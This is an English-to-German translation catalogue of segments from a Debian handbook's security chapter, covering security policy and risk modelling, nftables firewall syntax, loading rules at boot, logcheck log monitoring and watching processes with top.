0 - en to de-DE translation catalogue (329 entries)

en: Netfilter
de-DE: Netzfilter

en: Security
de-DE: Sicherheit

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
de-DE: Ein Informationssystem kann je nach der Umgebung, in der es eingesetzt wird, unterschiedlich wichtig sein. Manchmal ist es für ein Unternehmen lebensnotwendig. Deshalb muss es vor verschiedenen Gefahren geschützt sein. Das Verfahren, bei dem diese Gefahren identifiziert werden und der passende Schutz festgelegt und eingerichtet ist, wird insgesamt als „Sicherheitsprozess“ bezeichnet.

en: Defining a Security Policy
de-DE: Festlegen einer Sicherheitsstrategie

en: <emphasis>CAUTION</emphasis> Scope of this chapter
de-DE: <emphasis>VORSICHT</emphasis> Anwendungsbereich dieses Kapitels

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
de-DE: Der Begriff „Sicherheit“ selbst deckt einen weiten Bereich von Konzepten, Werkzeugen und Verfahren ab, von denen jedoch keines allgemein gilt. Um unter ihnen eine Auswahl treffen zu können, muss man eine klare Vorstellung davon haben, was man erreichen möchte. Die Absicherung eines Systems beginnt mit der Beantwortung einiger Fragen. Wenn man überstürzt einen willkürlich ausgewählten Satz von Werkzeugen installiert, läuft man Gefahr, sich auf die falschen Aspekte der Sicherheit zu konzentrieren.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
de-DE: Als erstes legt man deshalb das Ziel fest. Ein guter Ansatz, der bei dieser Festlegung hilft, beginnt mit den folgenden Fragen:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
de-DE: <emphasis>Was</emphasis> wollen wir schützen? Die Sicherheitsrichtlinie wird je nachdem, ob wir Rechner oder Daten schützen wollen, anders aussehen. Bei letzteren müssen wir auch noch wissen, um welche Daten es sich handelt.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
de-DE: <emphasis>Wovor</emphasis> wollen wir uns schützen? Ist es der Verlust vertraulicher Daten? Versehentliche Datenverluste? Einnahmeausfälle durch Störungen im Betriebsablauf?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
de-DE: Ferner, <emphasis>vor wem</emphasis> versuchen wir uns zu schützen? Sicherheitsmaßnahmen zum Schutz vor einem Tippfehler eines normalen Benutzers des Systems sind grundverschieden von Maßnahmen zum Schutz vor einer entschlossenen Gruppe von Angreifern.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
de-DE: Der Begriff „Gefahr“ wird normalerweise benutzt, um gleichermaßen von folgenden drei Faktoren zu sprechen: was geschützt werden soll, welches Ereignis verhindert werden soll und wer versuchen wird, dieses Ereignis eintreten zu lassen. Um die Gefahr abzubilden, müssen alle drei Fragen beantwortet werden. Ausgehend von diesem Risikomodell können dann Sicherheitsrichtlinien erstellt und durch konkrete Maßnahmen umgesetzt werden.

en: <emphasis>NOTE</emphasis> Permanent questioning
de-DE: <emphasis>HINWEIS</emphasis> Ständiges Infragestellen

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
de-DE: Bruce Schneier, ein weltweit anerkannter Experte in Sicherheitsfragen (nicht nur Computersicherheit), setzt einem der gängigsten Sicherheitsmythen ein Motto entgegen: „Sicherheit ist ein Prozess, kein Produkt.“ Die zu schützenden Güter ändern sich im Laufe der Zeit, genauso wie die Bedrohungen und die Mittel, die potentiellen Angreifern zur Verfügung stehen. Selbst wenn eine Sicherheitsrichtlinie anfänglich einwandfrei gestaltet und umgesetzt war, sollte man sich nie auf seinen Lorbeeren ausruhen. Die Risikokomponenten entwickeln sich weiter und die Erwiderung auf sie muss sich dementsprechend ebenfalls weiterentwickeln.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
de-DE: Besondere Beschränkungen müssen ebenfalls bedacht werden, da sie den Bereich der möglichen Richtlinien begrenzen können. Wie weit wollen wir gehen, um ein System abzusichern? Diese Frage hat einen wesentlichen Einfluss auf die umzusetzenden Richtlinien. Die Antwort wird allzu oft nur in Form von monetären Kosten gegeben, aber die anderen Elemente sollten ebenfalls berücksichtigt werden, wie zum Beispiel das Maß an Unbequemlichkeit, das den Systembenutzern auferlegt wird oder Leistungseinbußen.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
de-DE: Sobald das Risiko abgebildet ist, kann man damit beginnen, sich Gedanken über die eigentlichen Sicherheitsrichtlinien zu machen.

en: <emphasis>NOTE</emphasis> Extreme policies
de-DE: <emphasis>HINWEIS</emphasis>Extreme Richtlinien

en: There are cases where the choice of actions required to secure a system is extremely simple.
de-DE: Es gibt Fälle, in denen die Wahl der Maßnahmen, die zur Absicherung eines Systems erforderlich sind, äußerst einfach ist.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
de-DE: Wenn zum Beispiel das zu schützende System nur aus einem gebrauchten Rechner besteht, der lediglich dazu benutzt wird, am Ende des Tages einige Zahlen hinzuzufügen, könnte es durchaus vernünftig sein, sich dafür zu entscheiden, gar nichts Besonderes zu seinem Schutz zu tun. Der Sachwert des Systems ist gering. Der Wert der Daten ist Null, da sie nicht auf dem Rechner gespeichert werden. Ein möglicher Angreifer, der in dieses „System“ einbricht, würde nur eine schwerfällige Rechenmaschine bekommen. Die Kosten zur Absicherung eines solchen Systems wären wahrscheinlich höher als die eines Einbruchs.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
de-DE: Am anderen Ende des Spektrums möchten wir vielleicht die Vertraulichkeit geheimer Daten unter allen Umständen auf möglichst umfassende Weise schützen. In diesem Fall könnte eine angemessene Aktion darin bestehen, diese Daten vollständig zu vernichten (die Dateien sicher zu löschen, die Festplatten zu schreddern, dann die Partikel in Säure aufzulösen und so weiter). Falls es zusätzlich erforderlich ist, die Daten für eine zukünftige Verwendung zu speichern (wenn auch nicht notwendigerweise auf leicht zugängliche Art) und falls Kosten auch in diesem Fall keine Rolle spielen, könnte ein Ansatzpunkt darin bestehen, die Daten auf Platten aus einer Platin-Iridium-Legierung zu speichern und diese in bombensicheren Bunkern unter verschiedenen Bergen dieser Welt zu lagern, von denen (natürlich) jeder völlig geheim und von ganzen Armeen bewacht wäre…

en: Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
de-DE: So extrem diese Beispiele auch erscheinen mögen, so wären sie dennoch eine angemessene Reaktion auf definierte Risiken, da sie das Ergebnis von Überlegungen sind, bei denen die zu erreichenden Ziele und die einzuhaltenden Restriktionen berücksichtigt wurden. Keine Sicherheitsrichtlinie ist weniger respektabel als eine andere, solange sie auf einer begründeten Entscheidung beruht.

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
de-DE: In den meisten Fällen kann das Informationssystem in einheitliche und weitgehend voneinander unabhängige Teilsysteme aufgeteilt werden. Jedes Teilsystem hat seine eigenen Anforderungen und Restriktionen und daher sollten die Risikoanalyse und die Entwicklung der Sicherheitsrichtlinien für jedes getrennt angegangen werden. Man sollte dabei beachten, dass eine kurze und wohldefinierte Grenzlinie leichter zu verteidigen ist, als eine lange gewundene Grenze. Die Organisation des Netzwerks sollte dementsprechend ausgelegt werden: empfindliche Dienste sollten auf wenigen Rechnern konzentriert sein und diese sollten nur über möglichst wenige Kontrollpunkte zugänglich sein; es ist einfacher, diese Kontrollpunkte abzusichern, als alle empfindlichen Rechner gegen die gesamte Außenwelt. An dieser Stelle wird die Nützlichkeit von Netzwerkfiltern (einschließlich Firewalls) deutlich. Diese Filterung kann mit dedizierter Hardware realisiert werden, jedoch besteht eine möglicherweise einfachere und flexiblere Lösung darin, eine Firewall-Anwendung, wie sie im Linux-Kernel integriert ist, zu benutzen.

en: Firewall or Packet Filtering
de-DE: Firewall oder Paketfilter

en: <primary>firewall</primary>
de-DE: <primary>Firewall</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
de-DE: <emphasis>ZURÜCK ZU DEN GRUNDLAGEN</emphasis> Firewall

en: <primary>packet</primary><secondary>IP</secondary>
de-DE: <primary>Paket</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
de-DE: Eine <emphasis>Firewall</emphasis> ist eine Computereinrichtung aus Hard- oder Software, die ein- und ausgehende Netzwerkpakete (zum lokalen Netzwerk kommend oder von ihm ausgehend) sortiert und nur diejenigen durchlässt, die bestimmte vorher festgelegte Bedingungen erfüllen.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
de-DE: Eine Firewall ist ein filternder Netzübergang und nur bei Paketen wirksam, die durch sie hindurchgehen müssen. Deshalb kann sie nur dann wirksam sein, wenn der Weg durch die Firewall für diese Pakete die einzige Route ist.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
de-DE: <emphasis>SONDERFALL</emphasis> Lokale Firewall

en: The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands.
de-DE: Der Linux Kernel schließt die <emphasis>Netfilter</emphasis>-Firewall ein, die aus dem User Space mit den Befehlen <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> und <command>ebtables</command> gesteuert werden kann.

en: To enable a default firewall in Debian execute:
de-DE: So aktivieren Sie eine Standard-Firewall in Debian:

en: nftables Behavior
de-DE: Verhalten von nftables

en: A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.
de-DE: Ein gutes Verständnis der Schichten 3, 4 und 5 des OSI-Modells (Open Systems Interconnection) ist wichtig, um Netfilter optimal nutzen zu können.

en: <emphasis>CULTURE</emphasis> The OSI model
de-DE: <emphasis>CULTURE</emphasis> Das OSI-Modell

en: <primary>OSI</primary><secondary>model</secondary>
de-DE: <primary>OSI</primary><secondary>-Modell</secondary>

en: The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.
de-DE: Das OSI-Modell ist ein konzeptionelles Modell zur Implementierung von Netzwerkprotokollen ohne Berücksichtigung der zugrunde liegenden internen Struktur und Technologie. Ziel ist die Interoperabilität unterschiedlicher Kommunikationssysteme mit Standard-Kommunikationsprotokollen.

en: This model was defined in the standard ISO/EIC 7498. The following seven layers are described:
de-DE: Das Modell wurde im Standard ISO/EIC 7498 festgelegt. Die sieben Layer werden wie folgt beschrieben:

en: Physical: transmission and reception of raw bit streams over a physical medium
de-DE: Physikalisch: Senden und Empfangen von Bit-Strömen über ein physikalisches Medium

en: Data Link: reliable transmission of data frames between two nodes connected by a physical layer
de-DE: Data Link: Zuverlässige Übertragung von Daten-Frames zwischen zwei Knoten, die durch eine durch eine physikalische Schicht verbunden sind

en: Network: structuring and managing a multi-node network, including addressing, routing and traffic control
de-DE: Netzwerk: Strukturieren und Verwalten eines Netzwerks mit mehreren Knoten, einschließlich Adressierung, Routing und Verkehrssteuerung

en: Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing
de-DE: Transport: Zuverlässige Übertragung von Daten-Bereichen zwischen Punkten in einem Netzwerk, einschließlich Segmentierung, Bestätigung und Multiplexing

en: Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes
de-DE: Sitzung: Verwalten von Kommunikationssitzungen, d. H. Kontinuierlicher Informationsaustausch in Form mehrerer Hin- und Her-Übertragungen zwischen zwei Knoten

en: Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption
de-DE: Präsentation: Übersetzung von Daten zwischen einem Netzwerkdienst und einer Anwendung; einschließlich Zeichenkodierung, Datenkomprimierung und Verschlüsselung / Entschlüsselung

en: Application: High-level APIs, including resource sharing, remote file access.
de-DE: Anwendung: High-Level APIs, einschließlich Ressourcenfreigabe und Remote-Dateizugriff.

en: The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified.
de-DE: Die Firewall wird mit <emphasis>Tabellen</emphasis> (tables) konfiguriert, die <emphasis>Regeln</emphasis> (rules) in sogenannten <emphasis>Ketten</emphasis> (chains) verwalten. Anders als iptables hat <emphasis>nftables</emphasis> keine Standardtabelle (default table). Der Benutzer legt fest, welche und wie viele Tabellen erstellt werden sollen. Jede Tabelle darf jedoch nur einer der folgenden fünf Kategorien zugeordnet werden: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> oder <literal>bridge</literal>. Ist die Kategorie nicht deklariert, wird <literal>ip</literal> genutzt.

en: <primary>chain</primary>
de-DE: <primary>Kette</primary>

en: Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>.
de-DE: Regeln bestehen aus Aussagen (statements), die einige übereinstimmende Ausdrücke und dann eine Entscheidung enthalten, wie beispielsweise <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> oder <literal>goto chain</literal>.

en: <primary>rule</primary>
de-DE: <primary>Regel (rule)</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
de-DE: <emphasis>ZURÜCK ZU DEN GRUNDLAGEN</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
de-DE: Hinweis: ein Empfangspuffer ist ein kleiner Speicherbereich, der Daten vom Zeitpunkt ihrer Ankunft aus dem Netzwerk bis zum Zeitpunkt ihrer Verarbeitung durch den Kernel speichert. Wenn dieser Bereich voll ist, können keine weiteren Daten empfangen werden und ICMP meldet das Problem, so dass der Absender seine Übertragungsgeschwindigkeit reduzieren kann (die nach einiger Zeit möglichst ausgeglichen sein sollte).

en: <primary>receive buffer</primary>
de-DE: <primary>Empfangspuffer</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
de-DE: <primary>Puffer</primary><secondary>Empfangspuffer</secondary>

en: Moving from iptables to nftables
de-DE: Der Wechsel von iptables zu nftables

en: The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.
de-DE: Die Hilfsprogramme <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> sind Versionen von iptables welche die nftables API nutzen, damit Systemverwalter die veraltete iptables-Syntax weiter nutzen können. Aber dies wird nicht empfohlen; stattdessen sollten diese Hilfsprogramme lediglich die Rückwärtskompatibilität ermöglichen.

en: Syntax of <command>nft</command>
de-DE: Die Syntax von <command>nft</command>

en: The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>.
de-DE: Der Befehl <command>nft</command> erlaubt die Bearbeitung von Tabellen (tables), Ketten (chains) und Regeln (rules). Die <literal>Tabellen-</literal>-Option bietet mehrere Optionen: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> und <literal>flush</literal>. <command>nft add table ip6 mangle</command> erstellt eine neue Tabelle aus der Protokloll-Familie <literal>ip6</literal>.

en: To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):
de-DE: Um eine neue Basikette (base chain) in der <literal>filter</literal>-Tabelle zu erstellen, wird das folgende Kommando ausgeführt (Beachten Sie, dass das Semikolon bei Verwendung von Bash mit einem Backslash versehen werden muss):

en: Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>.
de-DE: Regeln werden normalerweise mit der folgenden Syntax hinzugefügt: <command>nft add rule [<replaceable>Familie</replaceable>] <replaceable>Tabelle</replaceable> <replaceable>Kette</replaceable> handle <replaceable>Handle</replaceable> statement </command>.

en: <command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:
de-DE: <command>insert</command> ähnelt dem Befehl <command>add</command>, aber die angegebene Regel wird am Anfang der Kette oder vor der Regel mit dem angegebenen Handle vorangestellt, anstatt am Ende oder nach dieser Regel. Beispielsweise fügt der folgende Befehl eine Regel vor der Regel mit dem Handler Nummer 8 ein:

en: The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset &gt; /etc/nftables.conf</command> as root.
de-DE: Die ausgeführten <command>nft</command>-Befehle nehmen keine dauerhaften Änderungen an der Konfiguration vor, sodass sie verloren gehen, wenn sie nicht gespeichert werden. Die Firewall-Regeln befinden sich in <filename>/etc/nftables.conf</filename>. Eine einfache Möglichkeit, die aktuelle Firewall-Konfiguration dauerhaft zu speichern, besteht darin, <command>nft list ruleset &gt; /etc/nftables.conf</command> als root auszuführen.

en: <command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information.
de-DE: <command>nft</command> erlaubt viele weitere Operationen, siehe seine Handbuchseite <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> für weitere Informationen.

en: Installing the Rules at Each Boot
de-DE: Die Regeln bei jedem Rechnerstart installieren

en: In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>.
de-DE: In anderen Fällen besteht der empfohlene Weg darin, das Konfigurationsskript in einer <literal>up</literal>-Anweisung der Datei <filename>/etc/network/interfaces</filename> einzutragen. Im folgenden Beispiel ist das Skript unter <filename>/usr/local/etc/arrakis.fw</filename> gespeichert.

en: <filename>interfaces</filename> file calling firewall script
de-DE: Aufruf eines Firewallskripts durch eine <filename>interfaces</filename>-Datei

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
de-DE: Dies setzt natürlich voraus, dass Sie <emphasis role="pkg">ifupdown</emphasis> verwenden, um die Netzwerk-Schnittstellen zu konfigurieren. Wenn Sie etwas anderes (wie <emphasis>NetworkManager</emphasis> oder <emphasis>Systemd Networkd</emphasis>) verwenden, dann suchen Sie in der Dokumentation Möglichkeiten ein Skript auszuführen, nachdem die Schnittstelle hochgefahren wurde.

en: Supervision: Prevention, Detection, Deterrence
de-DE: Überwachung: Vorbeugung, Entdeckung, Abschreckung

en: <primary>monitoring</primary>
de-DE: <primary>Monitoring</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
de-DE: Monitoring ist aus mehreren Gründen ein integraler Bestandteil jeder Sicherheitsrichtlinie. Unter anderem deshalb, weil das Ziel der Absicherung gewöhnlich nicht darauf beschränkt ist, die Vertraulichkeit der Daten sicherzustellen, sondern auch vorsieht, dass die Verfügbarkeit der Dienste gewährleistet ist. Es ist daher unerlässlich, zu überprüfen, ob alles wie vorgesehen funktioniert und rechtzeitig jedes abweichende Verhalten und jede Änderung in der Qualität der erbrachten Leistungen zu erkennen. Monitoring hilft dabei Einbruchsversuche zu entdecken und darauf schnell zu reagieren, bevor sie ernste Folgen haben. Dieser Abschnitt gibt einen Überblick über einige Hilfsprogramme, die zur Überwachung verschiedener Aspekte eines Debian-Systems eingesetzt werden können. Damit vervollständigt er <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
de-DE: Protokolle mit <command>logcheck</command> verfolgen

en: <primary>monitoring</primary><secondary>log files</secondary>
de-DE: <primary>Monitoring</primary><secondary>Protokolldateien</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
de-DE: Das Programm <command>logcheck</command> überwacht Protokolldateien standardmäßig jede Stunde. Es schickt E-Mails mit ungewöhnlichen Protokollmeldungen zur weiteren Analyse an den Administrator.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
de-DE: Die Liste der überwachten Dateien wird in <filename>/etc/logcheck/logcheck.logfiles</filename> gespeichert; die Standardeinstellungen eignen sich gut, solange die Datei <filename>/etc/rsyslog.conf</filename> nicht vollständig verändert worden ist.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
de-DE: <command>logcheck</command> kann in drei mehr oder weniger detaillierten Modi laufen: <emphasis>Paranoid</emphasis>, <emphasis>Server</emphasis> und <emphasis>Arbeitsplatzrechner</emphasis>. Der erste ist <emphasis>sehr</emphasis> ausführlich und sollte wohl eher auf besondere Server, wie zum Beispiel Firewalls, beschränkt bleiben. Der zweite (voreingestellte) Modus wird für die meisten Server empfohlen. Der letzte ist für Arbeitsplatzrechner bestimmt und ist noch knapper (er unterdrückt mehr Meldungen).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
de-DE: In allen drei Fällen sollte <command>logcheck</command> wohl so angepasst werden, dass es einige zusätzliche Meldungen ausschließt (in Abhängigkeit von den installierten Diensten), es sei denn, dass der Administrator tatsächlich jede Stunde stapelweise lange uninteressante E-Mails empfangen möchte. Da das Verfahren zur Auswahl der Meldungen recht kompliziert ist, ist es notwendig - wenn auch schwierig - die Datei <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> durchzulesen.

en: The applied rules can be split into several types:
de-DE: Die eingesetzten Regeln können in mehrere Arten unterteilt werden:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
de-DE: solche, die eine Meldung als einen Einbruchsversuch einstufen (in einer Datei im Verzeichnis <filename>/etc/logcheck/cracking.d/</filename> gespeichert);

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
de-DE: solche, die eine derartige Einstufung aufheben (<filename>/etc/logcheck/cracking.ignore.d/</filename>);

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
de-DE: solche, die eine Meldung als Sicherheitswarnung einordnen (<filename>/etc/logcheck/violations.d/</filename>);

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
de-DE: solche, die diese Einordnung aufheben (<filename>/etc/logcheck/violations.ignore.d/</filename>);

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
de-DE: und schließlich solche, die auf die übrigen Meldungen zutreffen (als sogenannte <emphasis>Systemvorfälle</emphasis> angesehen werden).

en: <emphasis>CAUTION</emphasis> Ignoring a message
de-DE: <emphasis>VORSICHT</emphasis> Eine Meldung ignorieren

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
de-DE: Eine Meldung, die als Einbruchsversuch oder als Sicherheitswarnung markiert worden ist (aufgrund einer Regel, die in einer Datei namens <filename>/etc/logcheck/violations.d/meine_datei</filename> gespeichert ist), kann nur mit einer Regel in den Dateien <filename>/etc/logcheck/violations.ignore.d/meine_datei</filename> oder <filename>/etc/logcheck/violations.ignore.d/meine_datei-<replaceable>erweiterung</replaceable></filename> ignoriert werden.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
de-DE: Ein Systemvorfall wird immer angezeigt, es sei denn, eine Regel in einem der Verzeichnisse des Typs <filename>/etc/logcheck/ignore.d.{paranoid,server,arbeitsplatzrechner}/</filename> bestimmt, dass der Vorfall ignoriert werden soll. Es werden natürlich nur die Verzeichnisse berücksichtigt, deren Ausführlichkeitsgrad gleich dem oder höher als der ausgewählte Betriebsmodus ist.

en: Monitoring Activity
de-DE: Aktivitäten überwachen

en: <primary>monitoring</primary><secondary>activity</secondary>
de-DE: <primary>Überwachung</primary><secondary>Aktivität</secondary>

en: <primary>activity, monitoring</primary>
de-DE: <primary>Aktivität, Überwachung</primary>

en: In Real Time
de-DE: In Echtzeit

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
de-DE: <command>top</command> ist ein interaktives Hilfsprogramm, das eine Liste der gegenwärtig laufenden Prozesse anzeigt. Die voreingestellte Reihenfolge hängt vom momentanen Umfang der Prozessornutzung ab und kann mithilfe der <keycap>P</keycap>-Taste abgerufen werden. Andere Sortierreihenfolgen sind unter anderem nach belegtem Speicher (<keycap>M</keycap>-Taste), nach gesamter Prozessorzeit (<keycap>T</keycap>-Taste) und nach Prozesskennung (<keycap>N</keycap>-Taste). Mit der <keycap>k</keycap>-Taste kann ein Prozess abgebrochen werden, indem seine Kennung eingegeben wird. Die <keycap>r</keycap>-Taste ermöglicht das <emphasis>renicing</emphasis> eines Prozesses, das heißt, die Änderung seiner Priorität.

en: When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.
